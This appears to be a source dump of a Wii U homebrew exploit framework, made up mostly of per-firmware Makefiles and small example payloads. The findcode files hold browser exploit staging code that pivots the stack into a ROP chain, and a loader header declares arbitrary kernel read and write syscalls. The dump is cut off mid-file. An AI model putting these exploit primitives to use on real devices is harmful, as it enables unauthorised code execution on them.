$(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/osldr/ici_stub-disasm.s: -------------------------------------------------------------------------------- 1 | 2 | ici_stub.o: file format elf32-powerpc 3 | 4 | 5 | Disassembly of section .text: 6 | 7 | 00000000 : 8 | 0: 38 60 10 00 li r3,4096 9 | 4: 7c 60 01 24 mtmsr r3 10 | 8: 4c 00 01 2c isync 11 | c: 7c 79 fa a6 mfl2cr r3 12 | 10: 3c 80 7f ff lis r4,32767 13 | 14: 60 84 ff ff ori r4,r4,65535 14 | 18: 7c 63 20 38 and r3,r3,r4 15 | 1c: 7c 79 fb a6 mtl2cr r3 16 | 20: 7c 00 04 ac sync 17 | 24: 7c 70 fa a6 mfspr r3,1008 18 | 28: 3c 80 ff ff lis r4,-1 19 | 2c: 60 84 3f ff ori r4,r4,16383 20 | 30: 7c 63 20 38 and r3,r3,r4 21 | 34: 7c 70 fb a6 mtspr 1008,r3 22 | 38: 7c 00 04 ac sync 23 | 24 | 0000003c <.loop>: 25 | 3c: 48 00 00 00 b 3c <.loop> 26 | -------------------------------------------------------------------------------- /examples/osldr/ici_stub.s: -------------------------------------------------------------------------------- 1 | ici_stub: 2 | # Enable machine check exceptions and exception vectors at 0x00000xxx 3 | li r3, 0x1000 4 | mtmsr r3 5 | isync 6 | 7 | # Disable the L2 cache 8 | mfspr r3, 0x3f9 9 | lis r4, 0x7FFF 10 | ori r4, r4, 0xFFFF 11 | and r3, r3, r4 12 | mtspr 0x3f9, r3 13 | sync 14 | 15 | # Disable caching (ICache and DCache) in HID0 16 | mfspr r3, 0x3f0 17 | lis r4, 0xFFFF 18 | ori r4, r4, 0x3FFF 19 | and r3, r3, r4 20 | mtspr 0x3f0, r3 21 | sync 22 | .loop: 23 | # Infinite loop (until replaced) 24 | b loop 25 | -------------------------------------------------------------------------------- /examples/osldr/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | 7 | /* Trap CPU0 and CPU2 at the ICI handler, and get the new kernel loaded */ 8 | void _start(); 9 | 10 | /* Download the new kernel into MEM1 and run it */ 11 | void kernload_net(int argc, void *arg); 12 | 13 | /* memcpy() implementation */ 14 | void *memcpy(void* dst, const void* src, uint32_t size); 15 | 16 | /* Arbitrary read and write syscalls */ 17 | uint32_t kern_read(const void *addr); 18 | void kern_write(void *addr, uint32_t value); 19 | 20 | #endif /* LOADER_H */ 21 | -------------------------------------------------------------------------------- /examples/remove_update/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/remove_update/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | unsigned int nn_ccr_handle, coreinit_handle; 6 | OSDynLoad_Acquire("nn_ccr.rpl", &nn_ccr_handle); 7 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 8 | void(*CCRSysDRCFWUpdateForward)(); 9 | void(*_Exit)(); 10 | OSDynLoad_FindExport(nn_ccr_handle, 0, "CCRSysDRCFWUpdateForward", &CCRSysDRCFWUpdateForward); 11 | OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); 12 | CCRSysDRCFWUpdateForward(); 13 | _Exit(); 14 | } -------------------------------------------------------------------------------- /examples/remove_update/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | void _start(); 7 | 8 | void _entryPoint(); 9 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/rpc/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/rpc/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/types.h" 5 | #include "../../../libwiiu/src/coreinit.h" 6 | #include "../../../libwiiu/src/socket.h" 7 | 8 | /* Start a thread for RPC */ 9 | void _start(); 10 | 11 | /* RPC thread */ 12 | void rpc(); 13 | 14 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/thread/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/thread/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | #define OSTHREAD_SIZE 0x1000 4 | 5 | /* Entry point for core 0 */ 6 | void core0_entry(int argc, void *args); 7 | 8 | /* Start of our code */ 9 | void _start() 10 | { 11 | /* Load a good stack */ 12 | asm( 13 | "lis %r1, 0x1ab5 ;" 14 | "ori %r1, %r1, 0xd138 ;" 15 | ); 16 | 17 | /* Get a handle to coreinit.rpl */ 18 | unsigned int coreinit_handle; 19 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 20 | 21 | /* OS memory allocation functions */ 22 | void* (*OSAllocFromSystem)(uint32_t size, int align); 23 | 24 | /* OS thread functions */ 25 | bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); 26 | int32_t (*OSResumeThread)(void *thread); 27 | 28 | /* Exit function */ 29 | void (*_Exit)(); 30 | 31 | /* Read the addresses of the functions */ 32 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 33 | OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); 34 | OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); 35 | OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); 36 | 37 | /* Create a string argument */ 38 | char *str = OSAllocFromSystem(6, 4); 39 | str[0] = 'H'; 40 | str[1] = 'e'; 41 | str[2] = 'l'; 42 | str[3] = 'l'; 43 | str[4] = 'o'; 44 | str[5] = 0; 45 | 46 | /* Allocate a stack for the thread */ 47 | uint32_t stack = (uint32_t) OSAllocFromSystem(0x1000, 0x10); 48 | stack += 0x1000; 49 | 50 | /* Create the thread */ 51 | void *thread = OSAllocFromSystem(OSTHREAD_SIZE, 8); 52 | bool ret = OSCreateThread(thread, OSFatal, (int)str, null, stack, 0x1000, 0, 1); 53 | if (ret == false) 54 | { 55 | OSFatal("Failed to create thread"); 56 | } 57 | 58 | /* Schedule it for execution */ 59 | OSResumeThread(thread); 60 | 61 | /* Infinite loop */ 62 | while(1); 63 | } 64 | -------------------------------------------------------------------------------- /examples/thread/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | 7 | void _start(); 8 | 9 | void _entryPoint(); 10 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/usbstor/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/usbstor/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | /* Acquisition callback */ 4 | int callback(void *context, UhsInterfaceProfile *profile); 5 | 6 | /* Start of our code */ 7 | void _start() 8 | { 9 | /* Load a good stack */ 10 | asm( 11 | "lis %r1, 0x1ab5 ;" 12 | "ori %r1, %r1, 0xd138 ;" 13 | ); 14 | 15 | /* Open the first USB controller */ 16 | int uhs_handle = UhsOpenController(0); 17 | 18 | /* Register a class driver for all devices */ 19 | UhsInterfaceFilter filter = { MATCH_ANY }; 20 | UhsClassDrvReg(uhs_handle, &filter, (void*)uhs_handle, &callback); 21 | 22 | while(1); 23 | 24 | /* Get the interfaces plugged into each port */ 25 | UhsInterfaceProfile profiles[4]; 26 | //UhsInterfaceFilter filter = { MATCH_ANY }; 27 | int num_ifs = UhsQueryInterfaces(uhs_handle, &filter, &profiles[0], 4); 28 | if (num_ifs <= 0) OSFatal("No USB interfaces detected"); 29 | 30 | /* Find an audio interface */ 31 | UhsInterfaceProfile *iface_stor = NULL; 32 | for (int i = 0; i < 4; i++) 33 | { 34 | if (profiles[i].if_desc.bInterfaceClass == USBCLASS_AUDIO) 35 | { 36 | iface_stor = &profiles[i]; 37 | break; 38 | } 39 | } 40 | if (!iface_stor) OSFatal("No audio interfaces detected"); 41 | 42 | /* Administer the device */ 43 | int ret = UhsAdministerDevice(uhs_handle, iface_stor->if_handle, 2, 0); 44 | 45 | /* Reset the storage interface */ 46 | //int ret = UhsSubmitControlRequest(uhs_handle, iface_stor->if_handle, NULL, 0xFF, 0x21, 0, (uint16_t)iface_stor->if_desc.bInterfaceNumber, 0, TIMEOUT_NONE); 47 | 48 | char buffer[256]; 49 | __os_snprintf(buffer, 256, "Administer returned 0x%08X", ret); 50 | OSFatal(buffer); 51 | 52 | /* Infinite loop */ 53 | while(1); 54 | } 55 | 56 | /* Class driver callback */ 57 | int callback(void *context, UhsInterfaceProfile *profile) 58 | { 59 | OSFatal("In the callback"); 60 | } 61 | -------------------------------------------------------------------------------- /examples/usbstor/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/types.h" 5 | #include "../../../libwiiu/src/coreinit.h" 6 | #include "../../../libwiiu/src/uhs.h" 7 | 8 | void _start(); 9 | 10 | void _entryPoint(); 11 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/usbstor/src/packet.h: -------------------------------------------------------------------------------- 1 | #ifndef PACKET_H 2 | #define PACKET_H 3 | 4 | /* Command Block Wrapper (CBW) */ 5 | typedef struct cbw 6 | { 7 | uint32_t dCBWSignature; 8 | uint32_t dCBWTag; 9 | uint32_t dCBWDataTransferLength; 10 | uint8_t bmCBWFlags; 11 | uint8_t bCBWLUN; 12 | uint8_t bCBWBLength; 13 | char CBWCB[0x1e-0xe]; 14 | } __attribute__((packed)); 15 | 16 | /* Command Status Wrapper (CSW) */ 17 | typedef struct csw 18 | { 19 | uint32_t dCSWSignature; 20 | uint32_t dCSWTag; 21 | uint32_t dCSWDataResidue; 22 | uint8_t bCSWStatus; 23 | } __attribute__((packed)); 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /examples/usbstor/src/scsi.h: -------------------------------------------------------------------------------- 1 | #ifndef SCSI_H 2 | #define SCSI_H 3 | 4 | /* Operation codes */ 5 | #define OP_READ16 0x88 6 | #define OP_WRITE16 0x8A 7 | 8 | /* READ(16) command */ 9 | typedef struct read16_cmd 10 | { 11 | uint8_t op_code; 12 | uint8_t flags; 13 | uint64_t start_lba; 14 | uint32_t length; 15 | uint8_t group_num; 16 | uint8_t control; 17 | } __attribute__((packed)); 18 | 19 | /* WRITE(16) command */ 20 | typedef struct write16_cmd 21 | { 22 | uint8_t op_code; 23 | uint8_t flags; 24 | uint64_t start_lba; 25 | uint32_t length; 26 | uint8_t group_num; 27 | uint8_t control; 28 | } __attribute__((packed)); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /framework/html/frame.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /framework/html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 | 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /framework/html/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /framework/html/template532.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /framework/src/findcode200.c: -------------------------------------------------------------------------------- 1 | #define __PPCExit ((void (*)())0x01018940) 2 | #define OSFatal ((void (*)(char* msg))0x01027688) 3 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01025FB4) 4 | #define rop ((void (*)())0x0E65E8F4) 5 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01029C04) 6 | 7 | #define BUFFER_ADDR 0x1dd7b814 8 | #define CODE_START 0xCAFECAFE 9 | 10 | void start() 11 | { 12 | asm("stwu %r1,-0x2000(%r1)"); 13 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 14 | int i; 15 | 16 | for (i = 0; i < 150; start += 1) { 17 | if (*start == CODE_START) i++; 18 | } 19 | 20 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 21 | 22 | unsigned int * code_addr_1 = (unsigned int *)(BUFFER_ADDR + 0x2C); 23 | unsigned int * code_addr_2 = (unsigned int *)(BUFFER_ADDR + 0x44); 24 | unsigned int * code_addr_3 = (unsigned int *)(BUFFER_ADDR + 0x54); 25 | unsigned int * code_addr_4 = (unsigned int *)(BUFFER_ADDR + 0x7C); 26 | *code_addr_1 = (int)start; 27 | *code_addr_2 = (int)start; 28 | *code_addr_3 = (int)start; 29 | *code_addr_4 = (int)start; 30 | 31 | asm( 32 | "lis %r1, 0x1dd7 ;" 33 | "ori %r1, %r1, 0xb814 ;" 34 | ); 35 | rop(); 36 | 37 | // Debug printing 38 | //char msg[255]; 39 | //__os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr_1, start); 40 | //OSFatal(msg); 41 | } -------------------------------------------------------------------------------- /framework/src/findcode210.c: -------------------------------------------------------------------------------- 1 | #define __PPCExit ((void (*)())0x01018940) 2 | #define OSFatal ((void (*)(char* msg))0x01027908) 3 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01026014) 4 | #define rop ((void (*)())0x0E6C3A44) 5 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01029E84) 6 | 7 | #define BUFFER_ADDR 0x1dd7b814 8 | #define CODE_START 0xCAFECAFE 9 | 10 | void start() 11 | { 12 | asm("stwu %r1,-0x2000(%r1)"); 13 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 14 | int i; 15 | 16 | for (i = 0; i < 150; start += 1) { 17 | if (*start == CODE_START) i++; 18 | } 19 | 20 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 21 | 22 | unsigned int * code_addr_1 = (unsigned int *)(BUFFER_ADDR + 0x2C); 23 | unsigned int * code_addr_2 = (unsigned int *)(BUFFER_ADDR + 0x44); 24 | unsigned int * code_addr_3 = (unsigned int *)(BUFFER_ADDR + 0x54); 25 | unsigned int * code_addr_4 = (unsigned int *)(BUFFER_ADDR + 0x7C); 26 | *code_addr_1 = (int)start; 27 | *code_addr_2 = (int)start; 28 | *code_addr_3 = (int)start; 29 | *code_addr_4 = (int)start; 30 | 31 | asm( 32 | "lis %r1, 0x1dd7 ;" 33 | "ori %r1, %r1, 0xb814 ;" 34 | ); 35 | rop(); 36 | 37 